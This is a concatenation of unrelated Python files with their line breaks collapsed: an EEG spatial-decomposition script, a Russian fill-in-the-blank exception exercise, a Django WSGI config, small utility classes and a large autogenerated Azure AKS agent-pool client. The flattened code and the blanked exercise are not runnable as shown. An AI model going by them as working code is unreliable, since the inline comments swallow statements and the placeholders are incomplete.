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path_to_nfblab = r'C:\Projects\nfblab\nfb' import sys import numpy as np import pylab as plt import pandas as pd import scipy.signal as sg sys.path.insert(0, path_to_nfblab) from utils.load_results import load_data from pynfb.signal_processing.filters import ButterFilter from pynfb.signal_processing.decompositions import ICADecomposition, CSPDecomposition from pynfb.inlets.montage import Montage from mne.viz import plot_topomap # settings h5_file = r'C:\Projects\nfblab\nfb\pynfb\results\exoatlet_kolai_stay_go_10-24_15-47-00\experiment_data.h5' band = (15, 30) method = 'ica' np.random.seed(401) # load data df, fs, channels, p_names = load_data(h5_file) fs = int(fs) eeg_channels = channels[:30] n_channels = len(eeg_channels) montage = Montage(eeg_channels) print('Fs: {}Hz\nAll channels: {}\nEEG channels: {}\nBlock sequence: {}'.format( fs, ', '.join(channels), ', '.join(eeg_channels), '-'.join(p_names))) # pre filter pre_filter = ButterFilter(band, fs, n_channels) df[eeg_channels] = pre_filter.apply(df[eeg_channels]) df = df.iloc[fs*5:] # spatial decomposition if method == 'ica': decomposition = ICADecomposition(eeg_channels, fs) elif method == 'csp': decomposition = CSPDecomposition(eeg_channels, fs) else: raise ValueError('Bad method name. Use "ica" or "csp".') # select data between first and second "pause" block first_b_number = p_names.index('Pause') + 1 second_b_number = 10000# p_names.index('Pause', 1) + 1 X = df.loc[(df.block_number>first_b_number) & (df.block_number<second_b_number)] # fit decomposition decomposition.fit(X[eeg_channels], X.block_name=='Go') # init axes n_rows = 5 n_cols = 6 fig, axes = plt.subplots(n_rows, n_cols * 2, figsize=(15, 10)) plt.subplots_adjust(hspace=1) # sort by erd erds = np.zeros(n_channels) erd_band = band # (18, 30) for k in range(n_channels): filt = decomposition.filters[:, k] go_data = X.loc[X.block_name == 'Go', eeg_channels].values st_data = X.loc[X.block_name == 'Stay', eeg_channels].values freq, go_spec = sg.welch(go_data.dot(filt), fs) freq, st_spec = sg.welch(st_data.dot(filt), fs) freq_slice = (freq > erd_band[0]) & (freq < erd_band[1]) erds[k] = (st_spec[freq_slice].mean() - go_spec[freq_slice].mean()) / st_spec[freq_slice].mean() # plot axes for j, k in enumerate(np.argsort(erds)[::-1]): topo = decomposition.topographies[:, k] filt = decomposition.filters[:, k] ax = axes[j // n_cols, j % n_cols * 2] plot_topomap(topo, montage.get_pos(), axes=ax, show=False, contours=0) ax.set_title(str(k)) ax.set_xlabel('{:.1f}%'.format(erds[k] * 100)) go_data = X.loc[X.block_name == 'Go', eeg_channels].values st_data = X.loc[X.block_name == 'Stay', eeg_channels].values freq, go_spec = sg.welch(go_data.dot(filt), fs) freq, st_spec = sg.welch(st_data.dot(filt), fs) freq_slice = (freq > 3) & (freq < 40) ax = axes[j // n_cols, j % n_cols * 2 + 1] ax.plot(freq[freq_slice], go_spec[freq_slice]) ax.plot(freq[freq_slice], st_spec[freq_slice]) ax.fill_between(freq[freq_slice], go_spec[freq_slice], st_spec[freq_slice], alpha=0.5) ax.get_yaxis().set_visible(False) ax.set_xticks([0, 10, 20, 30, 40]) ax.set_xticklabels([0, 10, 20, 30, 40]) plt.show()

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# # -*- coding: utf-8 -*- # # # Nested handlers # ___ # Обрабатываем исключения # ___ # Вложенный обработчик # x = 1 / 0 # Ошибка: деление на 0 # ____ N... # print("Неопределенный идентификатор") # ____ I... # print("Несуществующий индекс") # print("Выражение после вложенного обработчика") # ____ Z.. # print("Обработка деления на 0") # x _ 0 # print? # Выведет: 0

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""" WSGI config for EBookReading project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.0/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'EBookReading.settings') application = get_wsgi_application() os.environ["DJANGO_ALLOW_ASYNC_UNSAFE"] = "true"

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from __future__ import annotations from prettyqt import core class TransposeProxyModel(core.AbstractProxyModelMixin, core.QTransposeProxyModel): """This proxy transposes the source model.""" ID = "transpose"

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class Solution: """ @param s: The data stream @return: Return the judgement stream """ def getStream(self, s): # Write your code here length = len(s) result = [1 for x in range(length)] dict ={} for i in range(length): if s[i] in dict: dict[s[i]] += 1 else: dict[s[i]] = 1 if len(dict)==1: result[i] = 1 count = 0 for k,v in dict.items(): if v % 2 == 1: count += 1 if count>1: result[i] = 0 return result

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from abc import ABCMeta, abstractmethod class EventBus: """ ドメインイベントの通知インタフェース. """ __metaclass__ = ABCMeta @abstractmethod def publish(self, event): """ ドメインイベントを通知する. """

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# pylint: disable=too-many-lines # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, AsyncIterable, Callable, Dict, IO, Optional, TypeVar, Union, cast, overload import urllib.parse from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ( ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, ResourceNotModifiedError, map_error, ) from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.core.rest import HttpRequest from azure.core.tracing.decorator import distributed_trace from azure.core.tracing.decorator_async import distributed_trace_async from azure.core.utils import case_insensitive_dict from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models from ..._vendor import _convert_request from ...operations._agent_pools_operations import ( build_create_or_update_request, build_delete_request, build_get_available_agent_pool_versions_request, build_get_request, build_get_upgrade_profile_request, build_list_request, build_upgrade_node_image_version_request, ) T = TypeVar("T") ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class AgentPoolsOperations: """ .. warning:: **DO NOT** instantiate this class directly. Instead, you should access the following operations through :class:`~azure.mgmt.containerservice.v2022_07_01.aio.ContainerServiceClient`'s :attr:`agent_pools` attribute. """ models = _models def __init__(self, *args, **kwargs) -> None: input_args = list(args) self._client = input_args.pop(0) if input_args else kwargs.pop("client") self._config = input_args.pop(0) if input_args else kwargs.pop("config") self._serialize = input_args.pop(0) if input_args else kwargs.pop("serializer") self._deserialize = input_args.pop(0) if input_args else kwargs.pop("deserializer") @distributed_trace def list(self, resource_group_name: str, resource_name: str, **kwargs: Any) -> AsyncIterable["_models.AgentPool"]: """Gets a list of agent pools in the specified managed cluster. Gets a list of agent pools in the specified managed cluster. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: An iterator like instance of either AgentPool or the result of cls(response) :rtype: ~azure.core.async_paging.AsyncItemPaged[~azure.mgmt.containerservice.v2022_07_01.models.AgentPool] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[_models.AgentPoolListResult] = kwargs.pop("cls", None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) def prepare_request(next_link=None): if not next_link: request = build_list_request( resource_group_name=resource_group_name, resource_name=resource_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.list.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) else: # make call to next link with the client's api-version _parsed_next_link = urllib.parse.urlparse(next_link) _next_request_params = case_insensitive_dict( { key: [urllib.parse.quote(v) for v in value] for key, value in urllib.parse.parse_qs(_parsed_next_link.query).items() } ) _next_request_params["api-version"] = self._config.api_version request = HttpRequest( "GET", urllib.parse.urljoin(next_link, _parsed_next_link.path), params=_next_request_params ) request = _convert_request(request) request.url = self._client.format_url(request.url) request.method = "GET" return request async def extract_data(pipeline_response): deserialized = self._deserialize("AgentPoolListResult", pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) # type: ignore return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged(get_next, extract_data) list.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools" } @distributed_trace_async async def get( self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> _models.AgentPool: """Gets the specified managed cluster agent pool. Gets the specified managed cluster agent pool. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: AgentPool or the result of cls(response) :rtype: ~azure.mgmt.containerservice.v2022_07_01.models.AgentPool :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[_models.AgentPool] = kwargs.pop("cls", None) request = build_get_request( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.get.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize("AgentPool", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}" } async def _create_or_update_initial( self, resource_group_name: str, resource_name: str, agent_pool_name: str, parameters: Union[_models.AgentPool, IO], **kwargs: Any ) -> _models.AgentPool: error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) content_type: Optional[str] = kwargs.pop("content_type", _headers.pop("Content-Type", None)) cls: ClsType[_models.AgentPool] = kwargs.pop("cls", None) content_type = content_type or "application/json" _json = None _content = None if isinstance(parameters, (IO, bytes)): _content = parameters else: _json = self._serialize.body(parameters, "AgentPool") request = build_create_or_update_request( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, subscription_id=self._config.subscription_id, api_version=api_version, content_type=content_type, json=_json, content=_content, template_url=self._create_or_update_initial.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200, 201]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if response.status_code == 200: deserialized = self._deserialize("AgentPool", pipeline_response) if response.status_code == 201: deserialized = self._deserialize("AgentPool", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) # type: ignore return deserialized # type: ignore _create_or_update_initial.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}" } @overload async def begin_create_or_update( self, resource_group_name: str, resource_name: str, agent_pool_name: str, parameters: _models.AgentPool, *, content_type: str = "application/json", **kwargs: Any ) -> AsyncLROPoller[_models.AgentPool]: """Creates or updates an agent pool in the specified managed cluster. Creates or updates an agent pool in the specified managed cluster. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :param parameters: The agent pool to create or update. Required. :type parameters: ~azure.mgmt.containerservice.v2022_07_01.models.AgentPool :keyword content_type: Body Parameter content-type. Content type parameter for JSON body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either AgentPool or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.containerservice.v2022_07_01.models.AgentPool] :raises ~azure.core.exceptions.HttpResponseError: """ @overload async def begin_create_or_update( self, resource_group_name: str, resource_name: str, agent_pool_name: str, parameters: IO, *, content_type: str = "application/json", **kwargs: Any ) -> AsyncLROPoller[_models.AgentPool]: """Creates or updates an agent pool in the specified managed cluster. Creates or updates an agent pool in the specified managed cluster. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :param parameters: The agent pool to create or update. Required. :type parameters: IO :keyword content_type: Body Parameter content-type. Content type parameter for binary body. Default value is "application/json". :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either AgentPool or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.containerservice.v2022_07_01.models.AgentPool] :raises ~azure.core.exceptions.HttpResponseError: """ @distributed_trace_async async def begin_create_or_update( self, resource_group_name: str, resource_name: str, agent_pool_name: str, parameters: Union[_models.AgentPool, IO], **kwargs: Any ) -> AsyncLROPoller[_models.AgentPool]: """Creates or updates an agent pool in the specified managed cluster. Creates or updates an agent pool in the specified managed cluster. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :param parameters: The agent pool to create or update. Is either a AgentPool type or a IO type. Required. :type parameters: ~azure.mgmt.containerservice.v2022_07_01.models.AgentPool or IO :keyword content_type: Body Parameter content-type. Known values are: 'application/json'. Default value is None. :paramtype content_type: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either AgentPool or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.containerservice.v2022_07_01.models.AgentPool] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = case_insensitive_dict(kwargs.pop("headers", {}) or {}) _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) content_type: Optional[str] = kwargs.pop("content_type", _headers.pop("Content-Type", None)) cls: ClsType[_models.AgentPool] = kwargs.pop("cls", None) polling: Union[bool, AsyncPollingMethod] = kwargs.pop("polling", True) lro_delay = kwargs.pop("polling_interval", self._config.polling_interval) cont_token: Optional[str] = kwargs.pop("continuation_token", None) if cont_token is None: raw_result = await self._create_or_update_initial( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, parameters=parameters, api_version=api_version, content_type=content_type, cls=lambda x, y, z: x, headers=_headers, params=_params, **kwargs ) kwargs.pop("error_map", None) def get_long_running_output(pipeline_response): deserialized = self._deserialize("AgentPool", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method: AsyncPollingMethod = cast(AsyncPollingMethod, AsyncARMPolling(lro_delay, **kwargs)) elif polling is False: polling_method = cast(AsyncPollingMethod, AsyncNoPolling()) else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output, ) return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) # type: ignore begin_create_or_update.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}" } async def _delete_initial( # pylint: disable=inconsistent-return-statements self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> None: error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[None] = kwargs.pop("cls", None) request = build_delete_request( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self._delete_initial.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) if cls: return cls(pipeline_response, None, {}) _delete_initial.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}" } @distributed_trace_async async def begin_delete( self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> AsyncLROPoller[None]: """Deletes an agent pool in the specified managed cluster. Deletes an agent pool in the specified managed cluster. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either None or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[None] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[None] = kwargs.pop("cls", None) polling: Union[bool, AsyncPollingMethod] = kwargs.pop("polling", True) lro_delay = kwargs.pop("polling_interval", self._config.polling_interval) cont_token: Optional[str] = kwargs.pop("continuation_token", None) if cont_token is None: raw_result = await self._delete_initial( # type: ignore resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, api_version=api_version, cls=lambda x, y, z: x, headers=_headers, params=_params, **kwargs ) kwargs.pop("error_map", None) def get_long_running_output(pipeline_response): # pylint: disable=inconsistent-return-statements if cls: return cls(pipeline_response, None, {}) if polling is True: polling_method: AsyncPollingMethod = cast(AsyncPollingMethod, AsyncARMPolling(lro_delay, **kwargs)) elif polling is False: polling_method = cast(AsyncPollingMethod, AsyncNoPolling()) else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output, ) return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) # type: ignore begin_delete.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}" } @distributed_trace_async async def get_upgrade_profile( self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> _models.AgentPoolUpgradeProfile: """Gets the upgrade profile for an agent pool. Gets the upgrade profile for an agent pool. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: AgentPoolUpgradeProfile or the result of cls(response) :rtype: ~azure.mgmt.containerservice.v2022_07_01.models.AgentPoolUpgradeProfile :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[_models.AgentPoolUpgradeProfile] = kwargs.pop("cls", None) request = build_get_upgrade_profile_request( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.get_upgrade_profile.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize("AgentPoolUpgradeProfile", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get_upgrade_profile.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}/upgradeProfiles/default" } @distributed_trace_async async def get_available_agent_pool_versions( self, resource_group_name: str, resource_name: str, **kwargs: Any ) -> _models.AgentPoolAvailableVersions: """Gets a list of supported Kubernetes versions for the specified agent pool. See `supported Kubernetes versions <https://docs.microsoft.com/azure/aks/supported-kubernetes-versions>`_ for more details about the version lifecycle. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :keyword callable cls: A custom type or function that will be passed the direct response :return: AgentPoolAvailableVersions or the result of cls(response) :rtype: ~azure.mgmt.containerservice.v2022_07_01.models.AgentPoolAvailableVersions :raises ~azure.core.exceptions.HttpResponseError: """ error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[_models.AgentPoolAvailableVersions] = kwargs.pop("cls", None) request = build_get_available_agent_pool_versions_request( resource_group_name=resource_group_name, resource_name=resource_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self.get_available_agent_pool_versions.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize("AgentPoolAvailableVersions", pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get_available_agent_pool_versions.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/availableAgentPoolVersions" } async def _upgrade_node_image_version_initial( self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> Optional[_models.AgentPool]: error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError, 304: ResourceNotModifiedError, } error_map.update(kwargs.pop("error_map", {}) or {}) _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[Optional[_models.AgentPool]] = kwargs.pop("cls", None) request = build_upgrade_node_image_version_request( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, subscription_id=self._config.subscription_id, api_version=api_version, template_url=self._upgrade_node_image_version_initial.metadata["url"], headers=_headers, params=_params, ) request = _convert_request(request) request.url = self._client.format_url(request.url) _stream = False pipeline_response: PipelineResponse = await self._client._pipeline.run( # pylint: disable=protected-access request, stream=_stream, **kwargs ) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None response_headers = {} if response.status_code == 202: response_headers["Azure-AsyncOperation"] = self._deserialize( "str", response.headers.get("Azure-AsyncOperation") ) deserialized = self._deserialize("AgentPool", pipeline_response) if cls: return cls(pipeline_response, deserialized, response_headers) return deserialized _upgrade_node_image_version_initial.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}/upgradeNodeImageVersion" } @distributed_trace_async async def begin_upgrade_node_image_version( self, resource_group_name: str, resource_name: str, agent_pool_name: str, **kwargs: Any ) -> AsyncLROPoller[_models.AgentPool]: """Upgrades the node image version of an agent pool to the latest. Upgrading the node image version of an agent pool applies the newest OS and runtime updates to the nodes. AKS provides one new image per week with the latest updates. For more details on node image versions, see: https://docs.microsoft.com/azure/aks/node-image-upgrade. :param resource_group_name: The name of the resource group. The name is case insensitive. Required. :type resource_group_name: str :param resource_name: The name of the managed cluster resource. Required. :type resource_name: str :param agent_pool_name: The name of the agent pool. Required. :type agent_pool_name: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either AgentPool or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.containerservice.v2022_07_01.models.AgentPool] :raises ~azure.core.exceptions.HttpResponseError: """ _headers = kwargs.pop("headers", {}) or {} _params = case_insensitive_dict(kwargs.pop("params", {}) or {}) api_version: str = kwargs.pop("api_version", _params.pop("api-version", "2022-07-01")) cls: ClsType[None] = kwargs.pop("cls", None) polling: Union[bool, AsyncPollingMethod] = kwargs.pop("polling", True) lro_delay = kwargs.pop("polling_interval", self._config.polling_interval) cont_token: Optional[str] = kwargs.pop("continuation_token", None) if cont_token is None: raw_result = await self._upgrade_node_image_version_initial( resource_group_name=resource_group_name, resource_name=resource_name, agent_pool_name=agent_pool_name, api_version=api_version, cls=lambda x, y, z: x, headers=_headers, params=_params, **kwargs ) kwargs.pop("error_map", None) def get_long_running_output(pipeline_response): response_headers = {} response = pipeline_response.http_response response_headers["Azure-AsyncOperation"] = self._deserialize( "str", response.headers.get("Azure-AsyncOperation") ) deserialized = self._deserialize("AgentPool", pipeline_response) if cls: return cls(pipeline_response, deserialized, response_headers) return deserialized if polling is True: polling_method: AsyncPollingMethod = cast(AsyncPollingMethod, AsyncARMPolling(lro_delay, **kwargs)) elif polling is False: polling_method = cast(AsyncPollingMethod, AsyncNoPolling()) else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output, ) return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) # type: ignore begin_upgrade_node_image_version.metadata = { "url": "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ContainerService/managedClusters/{resourceName}/agentPools/{agentPoolName}/upgradeNodeImageVersion" }

[ "noreply@github.com" ]

fangchen0601.noreply@github.com

527160e77429557933b7824c4d79f4ae526f1411

